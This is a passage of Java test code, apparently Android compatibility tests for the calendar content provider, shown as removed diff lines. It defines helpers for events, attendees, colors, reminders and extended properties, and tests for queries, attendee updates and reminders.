- public static ContentValues getNewExceptionValues(long instanceStartMillis) {
- ContentValues values = new ContentValues();
- values.put(Events.ORIGINAL_INSTANCE_TIME, instanceStartMillis);
-
- return values;
- }
-
- public static ContentValues getUpdateEventValuesWithOriginal(ContentValues original,
- int seed, boolean asSyncAdapter) {
- String seedString = Long.toString(seed);
- ContentValues values = new ContentValues();
-
- values.put(Events.TITLE, "TITLE:" + seedString);
- values.put(Events.EVENT_LOCATION, "LOCATION_" + seedString);
- values.put(Events.DESCRIPTION, "DESCRIPTION:" + seedString);
- values.put(Events.STATUS, seed % 3);
-
- values.put(Events.DTSTART, seed);
- values.put(Events.DTEND, seed + DateUtils.HOUR_IN_MILLIS);
- values.put(Events.EVENT_TIMEZONE, TIME_ZONES[seed % TIME_ZONES.length]);
- // values.put(Events.EVENT_TIMEZONE2, TIME_ZONES[(seed +1) %
- // TIME_ZONES.length]);
- values.put(Events.ACCESS_LEVEL, seed % 4);
- values.put(Events.AVAILABILITY, seed % 2);
- values.put(Events.HAS_EXTENDED_PROPERTIES, seed % 2);
- values.put(Events.HAS_ATTENDEE_DATA, seed % 2);
- values.put(Events.GUESTS_CAN_MODIFY, seed % 2);
- values.put(Events.GUESTS_CAN_INVITE_OTHERS, seed % 2);
- values.put(Events.GUESTS_CAN_SEE_GUESTS, seed % 2);
- if (asSyncAdapter) {
- values.put(Events._SYNC_ID, "SYNC_ID:" + seedString);
- values.put(Events.SYNC_DATA4, "SYNC_V:" + seedString);
- values.put(Events.SYNC_DATA5, "SYNC_TIME:" + seedString);
- values.put(Events.DIRTY, 0);
- }
- original.putAll(values);
- return values;
- }
-
- public static void addDefaultReadOnlyValues(ContentValues values, String account,
- boolean asSyncAdapter) {
- values.put(Events.SELF_ATTENDEE_STATUS, Events.STATUS_TENTATIVE);
- values.put(Events.DELETED, 0);
- values.put(Events.DIRTY, asSyncAdapter ? 0 : 1);
- values.put(Events.OWNER_ACCOUNT, CalendarHelper.generateCalendarOwnerEmail(account));
- values.put(Events.ACCOUNT_TYPE, CTS_TEST_TYPE);
- values.put(Events.ACCOUNT_NAME, account);
- }
-
- /**
- * Generates a RFC2445-format duration string.
- */
- private static String generateDurationString(long durationMillis, boolean isAllDay) {
- long durationSeconds = durationMillis / 1000;
-
- // The server may react differently to an all-day event specified as "P1D" than
- // it will to "PT86400S"; see b/1594638.
- if (isAllDay && (durationSeconds % 86400) == 0) {
- return "P" + durationSeconds / 86400 + "D";
- } else {
- return "PT" + durationSeconds + "S";
- }
- }
-
- /**
- * Deletes the event, and updates the values.
- * @param resolver The resolver to issue the query against.
- * @param uri The deletion URI.
- * @param values Set of values to update (sets DELETED and DIRTY).
- * @return The number of rows modified.
- */
- public static int deleteEvent(ContentResolver resolver, Uri uri, ContentValues values) {
- values.put(Events.DELETED, 1);
- values.put(Events.DIRTY, 1);
- return resolver.delete(uri, null, null);
- }
-
- public static int deleteEventAsSyncAdapter(ContentResolver resolver, Uri uri,
- String account) {
- Uri syncUri = asSyncAdapter(uri, account, CTS_TEST_TYPE);
- return resolver.delete(syncUri, null, null);
- }
-
- public static Cursor getEventsByAccount(ContentResolver resolver, String account) {
- String selection = Calendars.ACCOUNT_TYPE + "=?";
- String[] selectionArgs;
- if (account != null) {
- selection += " AND " + Calendars.ACCOUNT_NAME + "=?";
- selectionArgs = new String[2];
- selectionArgs[1] = account;
- } else {
- selectionArgs = new String[1];
- }
- selectionArgs[0] = CTS_TEST_TYPE;
- return resolver.query(Events.CONTENT_URI, EVENTS_PROJECTION, selection, selectionArgs,
- null);
- }
-
- public static Cursor getEventByUri(ContentResolver resolver, Uri uri) {
- return resolver.query(uri, EVENTS_PROJECTION, null, null, null);
- }
-
- /**
- * Looks up the specified Event in the database and returns the "selfAttendeeStatus"
- * value.
- */
- public static int lookupSelfAttendeeStatus(ContentResolver resolver, long eventId) {
- return getIntFromDatabase(resolver, Events.CONTENT_URI, eventId,
- Events.SELF_ATTENDEE_STATUS);
- }
-
- /**
- * Looks up the specified Event in the database and returns the "hasAlarm"
- * value.
- */
- public static int lookupHasAlarm(ContentResolver resolver, long eventId) {
- return getIntFromDatabase(resolver, Events.CONTENT_URI, eventId,
- Events.HAS_ALARM);
- }
- }
-
- /**
- * Helper class for manipulating entries in the Attendees table.
- */
- private static class AttendeeHelper {
- public static final String[] ATTENDEES_PROJECTION = new String[] {
- Attendees._ID,
- Attendees.EVENT_ID,
- Attendees.ATTENDEE_NAME,
- Attendees.ATTENDEE_EMAIL,
- Attendees.ATTENDEE_STATUS,
- Attendees.ATTENDEE_RELATIONSHIP,
- Attendees.ATTENDEE_TYPE
- };
- // indexes into projection
- public static final int ATTENDEES_ID_INDEX = 0;
- public static final int ATTENDEES_EVENT_ID_INDEX = 1;
-
- // do not instantiate
- private AttendeeHelper() {}
-
- /**
- * Adds a new attendee to the specified event.
- *
- * @return the _id of the new attendee, or -1 on failure
- */
- public static long addAttendee(ContentResolver resolver, long eventId, String name,
- String email, int status, int relationship, int type) {
- Uri uri = Attendees.CONTENT_URI;
-
- ContentValues attendee = new ContentValues();
- attendee.put(Attendees.EVENT_ID, eventId);
- attendee.put(Attendees.ATTENDEE_NAME, name);
- attendee.put(Attendees.ATTENDEE_EMAIL, email);
- attendee.put(Attendees.ATTENDEE_STATUS, status);
- attendee.put(Attendees.ATTENDEE_RELATIONSHIP, relationship);
- attendee.put(Attendees.ATTENDEE_TYPE, type);
- Uri result = resolver.insert(uri, attendee);
- return ContentUris.parseId(result);
- }
-
- /**
- * Finds all Attendees rows for the specified event and email address. The returned
- * cursor will use {@link AttendeeHelper#ATTENDEES_PROJECTION}.
- */
- public static Cursor findAttendeesByEmail(ContentResolver resolver, long eventId,
- String email) {
- return resolver.query(Attendees.CONTENT_URI, ATTENDEES_PROJECTION,
- Attendees.EVENT_ID + "=? AND " + Attendees.ATTENDEE_EMAIL + "=?",
- new String[] { String.valueOf(eventId), email }, null);
- }
- }
-
- /**
- * Helper class for manipulating entries in the Colors table.
- */
- private static class ColorHelper {
- public static final String WHERE_COLOR_ACCOUNT = Colors.ACCOUNT_NAME + "=? AND "
- + Colors.ACCOUNT_TYPE + "=?";
- public static final String WHERE_COLOR_ACCOUNT_AND_INDEX = WHERE_COLOR_ACCOUNT + " AND "
- + Colors.COLOR_KEY + "=?";
-
- public static final String[] COLORS_PROJECTION = new String[] {
- Colors._ID, // 0
- Colors.ACCOUNT_NAME, // 1
- Colors.ACCOUNT_TYPE, // 2
- Colors.DATA, // 3
- Colors.COLOR_TYPE, // 4
- Colors.COLOR_KEY, // 5
- Colors.COLOR, // 6
- };
- // indexes into projection
- public static final int COLORS_ID_INDEX = 0;
- public static final int COLORS_INDEX_INDEX = 5;
- public static final int COLORS_COLOR_INDEX = 6;
-
- public static final int[] DEFAULT_TYPES = new int[] {
- Colors.TYPE_CALENDAR, Colors.TYPE_CALENDAR, Colors.TYPE_CALENDAR,
- Colors.TYPE_CALENDAR, Colors.TYPE_EVENT, Colors.TYPE_EVENT, Colors.TYPE_EVENT,
- Colors.TYPE_EVENT,
- };
- public static final int[] DEFAULT_COLORS = new int[] {
- 0xFFFF0000, 0xFF00FF00, 0xFF0000FF, 0xFFAA00AA, 0xFF00AAAA, 0xFF333333, 0xFFAAAA00,
- 0xFFAAAAAA,
- };
- public static final String[] DEFAULT_INDICES = new String[] {
- "000", "001", "010", "011", "100", "101", "110", "111",
- };
-
- public static final int C_COLOR_0 = 0;
- public static final int C_COLOR_1 = 1;
- public static final int C_COLOR_2 = 2;
- public static final int C_COLOR_3 = 3;
- public static final int E_COLOR_0 = 4;
- public static final int E_COLOR_1 = 5;
- public static final int E_COLOR_2 = 6;
- public static final int E_COLOR_3 = 7;
-
- // do not instantiate
- private ColorHelper() {
- }
-
- /**
- * Adds a new color to the colors table.
- *
- * @return the _id of the new color, or -1 on failure
- */
- public static long addColor(ContentResolver resolver, String accountName,
- String accountType, String data, String index, int type, int color) {
- Uri uri = asSyncAdapter(Colors.CONTENT_URI, accountName, accountType);
-
- ContentValues colorValues = new ContentValues();
- colorValues.put(Colors.DATA, data);
- colorValues.put(Colors.COLOR_KEY, index);
- colorValues.put(Colors.COLOR_TYPE, type);
- colorValues.put(Colors.COLOR, color);
- Uri result = resolver.insert(uri, colorValues);
- return ContentUris.parseId(result);
- }
-
- /**
- * Finds the color specified by an account name/type and a color index.
- * The returned cursor will use {@link ColorHelper#COLORS_PROJECTION}.
- */
- public static Cursor findColorByIndex(ContentResolver resolver, String accountName,
- String accountType, String index) {
- return resolver.query(Colors.CONTENT_URI, COLORS_PROJECTION,
- WHERE_COLOR_ACCOUNT_AND_INDEX,
- new String[] {accountName, accountType, index}, null);
- }
-
- public static Cursor findColorsByAccount(ContentResolver resolver, String accountName,
- String accountType) {
- return resolver.query(Colors.CONTENT_URI, COLORS_PROJECTION, WHERE_COLOR_ACCOUNT,
- new String[] { accountName, accountType }, null);
- }
-
- /**
- * Adds a default set of test colors to the Colors table under the given
- * account.
- *
- * @return true if the default colors were added successfully
- */
- public static boolean addDefaultColorsToAccount(ContentResolver resolver,
- String accountName, String accountType) {
- for (int i = 0; i < DEFAULT_INDICES.length; i++) {
- long id = addColor(resolver, accountName, accountType, null, DEFAULT_INDICES[i],
- DEFAULT_TYPES[i], DEFAULT_COLORS[i]);
- if (id == -1) {
- return false;
- }
- }
- return true;
- }
-
- public static void deleteColorsByAccount(ContentResolver resolver, String accountName,
- String accountType) {
- Uri uri = asSyncAdapter(Colors.CONTENT_URI, accountName, accountType);
- resolver.delete(uri, WHERE_COLOR_ACCOUNT, new String[] { accountName, accountType });
- }
- }
-
-
- /**
- * Helper class for manipulating entries in the Reminders table.
- */
- private static class ReminderHelper {
- public static final String[] REMINDERS_PROJECTION = new String[] {
- Reminders._ID,
- Reminders.EVENT_ID,
- Reminders.MINUTES,
- Reminders.METHOD
- };
- // indexes into projection
- public static final int REMINDERS_ID_INDEX = 0;
- public static final int REMINDERS_EVENT_ID_INDEX = 1;
- public static final int REMINDERS_MINUTES_INDEX = 2;
- public static final int REMINDERS_METHOD_INDEX = 3;
-
- // do not instantiate
- private ReminderHelper() {}
-
- /**
- * Adds a new reminder to the specified event.
- *
- * @return the _id of the new reminder, or -1 on failure
- */
- public static long addReminder(ContentResolver resolver, long eventId, int minutes,
- int method) {
- Uri uri = Reminders.CONTENT_URI;
-
- ContentValues reminder = new ContentValues();
- reminder.put(Reminders.EVENT_ID, eventId);
- reminder.put(Reminders.MINUTES, minutes);
- reminder.put(Reminders.METHOD, method);
- Uri result = resolver.insert(uri, reminder);
- return ContentUris.parseId(result);
- }
-
- /**
- * Finds all Reminders rows for the specified event. The returned cursor will use
- * {@link ReminderHelper#REMINDERS_PROJECTION}.
- */
- public static Cursor findRemindersByEventId(ContentResolver resolver, long eventId) {
- return resolver.query(Reminders.CONTENT_URI, REMINDERS_PROJECTION,
- Reminders.EVENT_ID + "=?", new String[] { String.valueOf(eventId) }, null);
- }
-
- /**
- * Looks up the specified Reminders row and returns the "method" value.
- */
- public static int lookupMethod(ContentResolver resolver, long remId) {
- return getIntFromDatabase(resolver, Reminders.CONTENT_URI, remId,
- Reminders.METHOD);
- }
- }
-
- /**
- * Helper class for manipulating entries in the ExtendedProperties table.
- */
- private static class ExtendedPropertiesHelper {
- public static final String[] EXTENDED_PROPERTIES_PROJECTION = new String[] {
- ExtendedProperties._ID,
- ExtendedProperties.EVENT_ID,
- ExtendedProperties.NAME,
- ExtendedProperties.VALUE
- };
- // indexes into projection
- public static final int EXTENDED_PROPERTIES_ID_INDEX = 0;
- public static final int EXTENDED_PROPERTIES_EVENT_ID_INDEX = 1;
- public static final int EXTENDED_PROPERTIES_NAME_INDEX = 2;
- public static final int EXTENDED_PROPERTIES_VALUE_INDEX = 3;
-
- // do not instantiate
- private ExtendedPropertiesHelper() {}
-
- /**
- * Adds a new ExtendedProperty for the specified event. Runs as sync adapter.
- *
- * @return the _id of the new ExtendedProperty, or -1 on failure
- */
- public static long addExtendedProperty(ContentResolver resolver, String account,
- long eventId, String name, String value) {
- Uri uri = asSyncAdapter(ExtendedProperties.CONTENT_URI, account, CTS_TEST_TYPE);
-
- ContentValues ep = new ContentValues();
- ep.put(ExtendedProperties.EVENT_ID, eventId);
- ep.put(ExtendedProperties.NAME, name);
- ep.put(ExtendedProperties.VALUE, value);
- Uri result = resolver.insert(uri, ep);
- return ContentUris.parseId(result);
- }
-
- /**
- * Finds all ExtendedProperties rows for the specified event. The returned cursor will
- * use {@link ExtendedPropertiesHelper#EXTENDED_PROPERTIES_PROJECTION}.
- */
- public static Cursor findExtendedPropertiesByEventId(ContentResolver resolver,
- long eventId) {
- return resolver.query(ExtendedProperties.CONTENT_URI, EXTENDED_PROPERTIES_PROJECTION,
- ExtendedProperties.EVENT_ID + "=?",
- new String[] { String.valueOf(eventId) }, null);
- }
-
- /**
- * Finds an ExtendedProperties entry with a matching name for the specified event, and
- * returns the value. Throws an exception if we don't find exactly one row.
- */
- public static String lookupValueByName(ContentResolver resolver, long eventId,
- String name) {
- Cursor cursor = resolver.query(ExtendedProperties.CONTENT_URI,
- EXTENDED_PROPERTIES_PROJECTION,
- ExtendedProperties.EVENT_ID + "=? AND " + ExtendedProperties.NAME + "=?",
- new String[] { String.valueOf(eventId), name }, null);
-
- try {
- if (cursor.getCount() != 1) {
- throw new RuntimeException("Got " + cursor.getCount() + " results, expected 1");
- }
-
- cursor.moveToFirst();
- return cursor.getString(EXTENDED_PROPERTIES_VALUE_INDEX);
- } finally {
- if (cursor != null) {
- cursor.close();
- }
- }
- }
- }
-
- /**
- * Creates an updated URI that includes query parameters that identify the source as a
- * sync adapter.
- */
- static Uri asSyncAdapter(Uri uri, String account, String accountType) {
- return uri.buildUpon()
- .appendQueryParameter(android.provider.CalendarContract.CALLER_IS_SYNCADAPTER,
- "true")
- .appendQueryParameter(Calendars.ACCOUNT_NAME, account)
- .appendQueryParameter(Calendars.ACCOUNT_TYPE, accountType).build();
- }
-
- /**
- * Returns the value of the specified row and column in the Events table, as an integer.
- * Throws an exception if the specified row or column doesn't exist or doesn't contain
- * an integer (e.g. null entry).
- */
- private static int getIntFromDatabase(ContentResolver resolver, Uri uri, long rowId,
- String columnName) {
- String[] projection = { columnName };
- String selection = SQL_WHERE_ID;
- String[] selectionArgs = { String.valueOf(rowId) };
-
- Cursor c = resolver.query(uri, projection, selection, selectionArgs, null);
- try {
- assertEquals(1, c.getCount());
- c.moveToFirst();
- return c.getInt(0);
- } finally {
- c.close();
- }
- }
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- mContentResolver = getInstrumentation().getTargetContext().getContentResolver();
- }
-
- @MediumTest
- public void testCalendarCreationAndDeletion() {
- String account = "cc1_account";
- int seed = 0;
-
- // Clean up just in case
- CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
- long id = createAndVerifyCalendar(account, seed++, null);
-
- removeAndVerifyCalendar(account, id);
- }
-
- /**
- * Tests whether the default projections work. We don't need to have any data in
- * the calendar, since it's testing the database schema.
- */
- @MediumTest
- public void testDefaultProjections() {
- String account = "dproj_account";
- int seed = 0;
-
- // Clean up just in case
- CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
- long id = createAndVerifyCalendar(account, seed++, null);
-
- Cursor c;
- Uri uri;
- // Calendars
- c = mContentResolver.query(Calendars.CONTENT_URI, null, null, null, null);
- c.close();
- // Events
- c = mContentResolver.query(Events.CONTENT_URI, null, null, null, null);
- c.close();
- // Instances
- uri = Uri.withAppendedPath(Instances.CONTENT_URI, "0/1");
- c = mContentResolver.query(uri, null, null, null, null);
- c.close();
- // Attendees
- c = mContentResolver.query(Attendees.CONTENT_URI, null, null, null, null);
- c.close();
- // Reminders (only REMINDERS_ID currently uses default projection)
- uri = ContentUris.withAppendedId(Reminders.CONTENT_URI, 0);
- c = mContentResolver.query(uri, null, null, null, null);
- c.close();
- // CalendarAlerts
- c = mContentResolver.query(CalendarContract.CalendarAlerts.CONTENT_URI,
- null, null, null, null);
- c.close();
- // CalendarCache
- c = mContentResolver.query(CalendarContract.CalendarCache.URI,
- null, null, null, null);
- c.close();
- // CalendarEntity
- c = mContentResolver.query(CalendarContract.CalendarEntity.CONTENT_URI,
- null, null, null, null);
- c.close();
- // EventEntities
- c = mContentResolver.query(CalendarContract.EventsEntity.CONTENT_URI,
- null, null, null, null);
- c.close();
- // EventDays
- uri = Uri.withAppendedPath(CalendarContract.EventDays.CONTENT_URI, "1/2");
- c = mContentResolver.query(uri, null, null, null, null);
- c.close();
- // ExtendedProperties
- c = mContentResolver.query(CalendarContract.ExtendedProperties.CONTENT_URI,
- null, null, null, null);
- c.close();
-
- removeAndVerifyCalendar(account, id);
- }
-
- /**
- * Exercises the EventsEntity class.
- */
- @MediumTest
- public void testEventsEntityQuery() {
- String account = "eeq_account";
- int seed = 0;
-
- // Clean up just in case.
- CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-
- // Create calendar.
- long calendarId = createAndVerifyCalendar(account, seed++, null);
-
- // Create three events. We need to make sure SELF_ATTENDEE_STATUS isn't set, because
- // that causes the provider to generate an Attendees entry, and that'll throw off
- // our expected count.
- ContentValues eventValues;
- eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
- eventValues.remove(Events.SELF_ATTENDEE_STATUS);
- long eventId1 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
- assertTrue(eventId1 >= 0);
-
- eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
- eventValues.remove(Events.SELF_ATTENDEE_STATUS);
- long eventId2 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
- assertTrue(eventId2 >= 0);
-
- eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
- eventValues.remove(Events.SELF_ATTENDEE_STATUS);
- long eventId3 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
- assertTrue(eventId3 >= 0);
-
- /*
- * Add some attendees, reminders, and extended properties.
- */
- Uri uri, syncUri;
-
- syncUri = asSyncAdapter(Reminders.CONTENT_URI, account, CTS_TEST_TYPE);
- ContentValues remValues = new ContentValues();
- remValues.put(Reminders.EVENT_ID, eventId1);
- remValues.put(Reminders.MINUTES, 10);
- remValues.put(Reminders.METHOD, Reminders.METHOD_ALERT);
- mContentResolver.insert(syncUri, remValues);
- remValues.put(Reminders.MINUTES, 20);
- mContentResolver.insert(syncUri, remValues);
-
- syncUri = asSyncAdapter(ExtendedProperties.CONTENT_URI, account, CTS_TEST_TYPE);
- ContentValues extended = new ContentValues();
- extended.put(ExtendedProperties.NAME, "foo");
- extended.put(ExtendedProperties.VALUE, "bar");
- extended.put(ExtendedProperties.EVENT_ID, eventId2);
- mContentResolver.insert(syncUri, extended);
- extended.put(ExtendedProperties.EVENT_ID, eventId1);
- mContentResolver.insert(syncUri, extended);
- extended.put(ExtendedProperties.NAME, "foo2");
- extended.put(ExtendedProperties.VALUE, "bar2");
- mContentResolver.insert(syncUri, extended);
-
- syncUri = asSyncAdapter(Attendees.CONTENT_URI, account, CTS_TEST_TYPE);
- ContentValues attendee = new ContentValues();
- attendee.put(Attendees.ATTENDEE_NAME, "Joe");
- attendee.put(Attendees.ATTENDEE_EMAIL, CalendarHelper.generateCalendarOwnerEmail(account));
- attendee.put(Attendees.ATTENDEE_STATUS, Attendees.ATTENDEE_STATUS_DECLINED);
- attendee.put(Attendees.ATTENDEE_TYPE, Attendees.TYPE_REQUIRED);
- attendee.put(Attendees.ATTENDEE_RELATIONSHIP, Attendees.RELATIONSHIP_PERFORMER);
- attendee.put(Attendees.EVENT_ID, eventId3);
- mContentResolver.insert(syncUri, attendee);
-
- /*
- * Iterate over all events on our calendar. Peek at a few values to see if they
- * look reasonable.
- */
- EntityIterator ei = EventsEntity.newEntityIterator(
- mContentResolver.query(EventsEntity.CONTENT_URI, null, Events.CALENDAR_ID + "=?",
- new String[] { String.valueOf(calendarId) }, null),
- mContentResolver);
- int count = 0;
- try {
- while (ei.hasNext()) {
- Entity entity = ei.next();
- ContentValues values = entity.getEntityValues();
- ArrayList<Entity.NamedContentValues> subvalues = entity.getSubValues();
- long eventId = values.getAsLong(Events._ID);
- if (eventId == eventId1) {
- // 2 x reminder, 2 x extended properties
- assertEquals(4, subvalues.size());
- } else if (eventId == eventId2) {
- // Extended properties
- assertEquals(1, subvalues.size());
- ContentValues subContentValues = subvalues.get(0).values;
- String name = subContentValues.getAsString(
- CalendarContract.ExtendedProperties.NAME);
- String value = subContentValues.getAsString(
- CalendarContract.ExtendedProperties.VALUE);
- assertEquals("foo", name);
- assertEquals("bar", value);
- } else if (eventId == eventId3) {
- // Attendees
- assertEquals(1, subvalues.size());
- } else {
- fail("should not be here");
- }
- count++;
- }
- assertEquals(3, count);
- } finally {
- ei.close();
- }
-
- // Confirm that querying for a single event yields a single event.
- ei = EventsEntity.newEntityIterator(
- mContentResolver.query(EventsEntity.CONTENT_URI, null, SQL_WHERE_ID,
- new String[] { String.valueOf(eventId3) }, null),
- mContentResolver);
- try {
- count = 0;
- while (ei.hasNext()) {
- Entity entity = ei.next();
- count++;
- }
- assertEquals(1, count);
- } finally {
- ei.close();
- }
-
-
- removeAndVerifyCalendar(account, calendarId);
- }
-
- /**
- * Exercises the CalendarEntity class.
- */
- @MediumTest
- public void testCalendarEntityQuery() {
- String account1 = "ceq1_account";
- String account2 = "ceq2_account";
- String account3 = "ceq3_account";
- int seed = 0;
-
- // Clean up just in case.
- CalendarHelper.deleteCalendarByAccount(mContentResolver, account1);
- CalendarHelper.deleteCalendarByAccount(mContentResolver, account2);
- CalendarHelper.deleteCalendarByAccount(mContentResolver, account3);
-
- // Create calendars.
- long calendarId1 = createAndVerifyCalendar(account1, seed++, null);
- long calendarId2 = createAndVerifyCalendar(account2, seed++, null);
- long calendarId3 = createAndVerifyCalendar(account3, seed++, null);
-
- EntityIterator ei = CalendarEntity.newEntityIterator(
- mContentResolver.query(CalendarEntity.CONTENT_URI, null,
- Calendars._ID + "=? OR " + Calendars._ID + "=? OR " + Calendars._ID + "=?",
- new String[] { String.valueOf(calendarId1), String.valueOf(calendarId2),
- String.valueOf(calendarId3) },
- null));
-
- try {
- int count = 0;
- while (ei.hasNext()) {
- Entity entity = ei.next();
- count++;
- }
- assertEquals(3, count);
- } finally {
- ei.close();
- }
-
- removeAndVerifyCalendar(account1, calendarId1);
- removeAndVerifyCalendar(account2, calendarId2);
- removeAndVerifyCalendar(account3, calendarId3);
- }
-
- /**
- * Tests creation and manipulation of Attendees.
- */
- @MediumTest
- public void testAttendees() {
- String account = "att_account";
- int seed = 0;
-
- // Clean up just in case.
- CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-
- // Create calendar.
- long calendarId = createAndVerifyCalendar(account, seed++, null);
-
- // Create two events, one with a value set for SELF_ATTENDEE_STATUS, one without.
- ContentValues eventValues;
- eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
- eventValues.put(Events.SELF_ATTENDEE_STATUS, Events.STATUS_TENTATIVE);
- long eventId1 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
- assertTrue(eventId1 >= 0);
-
- eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
- eventValues.remove(Events.SELF_ATTENDEE_STATUS);
- long eventId2 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
- assertTrue(eventId2 >= 0);
-
- /*
- * Add some attendees to the first event.
- */
- long attId1 = AttendeeHelper.addAttendee(mContentResolver, eventId1,
- "Alice",
- "alice@example.com",
- Attendees.ATTENDEE_STATUS_TENTATIVE,
- Attendees.RELATIONSHIP_ATTENDEE,
- Attendees.TYPE_REQUIRED);
- long attId2 = AttendeeHelper.addAttendee(mContentResolver, eventId1,
- "Betty",
- "betty@example.com",
- Attendees.ATTENDEE_STATUS_DECLINED,
- Attendees.RELATIONSHIP_ATTENDEE,
- Attendees.TYPE_NONE);
- long attId3 = AttendeeHelper.addAttendee(mContentResolver, eventId1,
- "Carol",
- "carol@example.com",
- Attendees.ATTENDEE_STATUS_DECLINED,
- Attendees.RELATIONSHIP_ATTENDEE,
- Attendees.TYPE_OPTIONAL);
-
- /*
- * Find the event1 "self" attendee entry.
- */
- Cursor cursor = AttendeeHelper.findAttendeesByEmail(mContentResolver, eventId1,
- CalendarHelper.generateCalendarOwnerEmail(account));
- try {
- assertEquals(1, cursor.getCount());
- //DatabaseUtils.dumpCursor(cursor);
-
- cursor.moveToFirst();
- long id = cursor.getLong(AttendeeHelper.ATTENDEES_ID_INDEX);
-
- /*
- * Update the status field. The provider should automatically propagate the result.
- */
- ContentValues update = new ContentValues();
- Uri uri = ContentUris.withAppendedId(Attendees.CONTENT_URI, id);
-
- update.put(Attendees.ATTENDEE_STATUS, Attendees.ATTENDEE_STATUS_ACCEPTED);
- int count = mContentResolver.update(uri, update, null, null);
- assertEquals(1, count);
-
- int status = EventHelper.lookupSelfAttendeeStatus(mContentResolver, eventId1);
- assertEquals(Attendees.ATTENDEE_STATUS_ACCEPTED, status);
-
- } finally {
- if (cursor != null) {
- cursor.close();
- }
- }
-
- /*
- * Do a bulk update of all Attendees for this event, changing any Attendee with status
- * "declined" to "invited".
- */
- ContentValues bulkUpdate = new ContentValues();
- bulkUpdate.put(Attendees.ATTENDEE_STATUS, Attendees.ATTENDEE_STATUS_INVITED);
-
- int count = mContentResolver.update(Attendees.CONTENT_URI, bulkUpdate,
- Attendees.EVENT_ID + "=? AND " + Attendees.ATTENDEE_STATUS + "=?",
- new String[] {
- String.valueOf(eventId1), String.valueOf(Attendees.ATTENDEE_STATUS_DECLINED)
- });
- assertEquals(2, count);
-
- /*
- * Add a new, non-self attendee to the second event.
- */
- long attId4 = AttendeeHelper.addAttendee(mContentResolver, eventId2,
- "Diana",
- "diana@example.com",
- Attendees.ATTENDEE_STATUS_ACCEPTED,
- Attendees.RELATIONSHIP_ATTENDEE,
- Attendees.TYPE_REQUIRED);
-
- /*
- * Confirm that the selfAttendeeStatus on the second event has the default value.
- */
- int status = EventHelper.lookupSelfAttendeeStatus(mContentResolver, eventId2);
- assertEquals(Attendees.ATTENDEE_STATUS_NONE, status);
-
- /*
- * Create a new "self" attendee in the second event by updating the email address to
- * match that of the calendar owner.
- */
- ContentValues newSelf = new ContentValues();
- newSelf.put(Attendees.ATTENDEE_EMAIL, CalendarHelper.generateCalendarOwnerEmail(account));
- count = mContentResolver.update(ContentUris.withAppendedId(Attendees.CONTENT_URI, attId4),
- newSelf, null, null);
- assertEquals(1, count);
-
- /*
- * Confirm that the event's selfAttendeeStatus has been updated.
- */
- status = EventHelper.lookupSelfAttendeeStatus(mContentResolver, eventId2);
- assertEquals(Attendees.ATTENDEE_STATUS_ACCEPTED, status);
-
- /*
- * TODO: (these are unexpected usage patterns)
- * - Update an Attendee's status and event_id to move it to a different event, and
- * confirm that the selfAttendeeStatus in the destination event is updated (rather
- * than that of the source event).
- * - Create two Attendees with email addresses that match "self" but have different
- * values for "status". Delete one and confirm that selfAttendeeStatus is changed
- * to that of the remaining Attendee. (There is no defined behavior for
- * selfAttendeeStatus when there are multiple matching Attendees.)
- */
-
- /*
- * Test deletion, singly by ID and in bulk.
- */
- count = mContentResolver.delete(ContentUris.withAppendedId(Attendees.CONTENT_URI, attId4),
- null, null);
- assertEquals(1, count);
-
- count = mContentResolver.delete(Attendees.CONTENT_URI, Attendees.EVENT_ID + "=?",
- new String[] { String.valueOf(eventId1) });
- assertEquals(4, count); // 3 we created + 1 auto-added by the provider
-
- removeAndVerifyCalendar(account, calendarId);
- }
-
- /**
- * Tests creation and manipulation of Reminders.
- */
- @MediumTest
- public void testReminders() {
- String account = "rem_account";
- int seed = 0;
-
- // Clean up just in case.
- CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-
- // Create calendar.
- long calendarId = createAndVerifyCalendar(account, seed++, null);
-
- // Create events.
- ContentValues eventValues;
- eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
- long eventId1 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
- assertTrue(eventId1 >= 0);
- eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
- long eventId2 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
- assertTrue(eventId2 >= 0);
-
- // No reminders, hasAlarm should be zero.
- int hasAlarm = EventHelper.lookupHasAlarm(mContentResolver, eventId1);
- assertEquals(0, hasAlarm);
- hasAlarm = EventHelper.lookupHasAlarm(mContentResolver, eventId2);
- assertEquals(0, hasAlarm);
-
- /*
- * Add some reminders.
- */
- long remId1 = ReminderHelper.addReminder(mContentResolver, eventId1,
- 10, Reminders.METHOD_DEFAULT);
- long remId2 = ReminderHelper.addReminder(mContentResolver, eventId1,
- 15, Reminders.METHOD_ALERT);
- long remId3 = ReminderHelper.addReminder(mContentResolver, eventId1,
- 20, Reminders.METHOD_SMS); // SMS isn't allowed for this calendar
-
- // Should have been set to 1 by provider.
- hasAlarm = EventHelper.lookupHasAlarm(mContentResolver, eventId1);
- assertEquals(1, hasAlarm);
-
- // Add a reminder to event2.
- ReminderHelper.addReminder(mContentResolver, eventId2,
- 20, Reminders.METHOD_DEFAULT);
- hasAlarm = EventHelper.lookupHasAlarm(mContentResolver, eventId2);
- assertEquals(1, hasAlarm);
-
-
- /*
- * Check the entries.
- */
- Cursor cursor = ReminderHelper.findRemindersByEventId(mContentResolver, eventId1);
- try {
- assertEquals(3, cursor.getCount());
- //DatabaseUtils.dumpCursor(cursor);
-
- while (cursor.moveToNext()) {
- int minutes = cursor.getInt(ReminderHelper.REMINDERS_MINUTES_INDEX);
- int method = cursor.getInt(ReminderHelper.REMINDERS_METHOD_INDEX);
- switch (minutes) {
- case 10:
- assertEquals(Reminders.METHOD_DEFAULT, method);
- break;
- case 15:
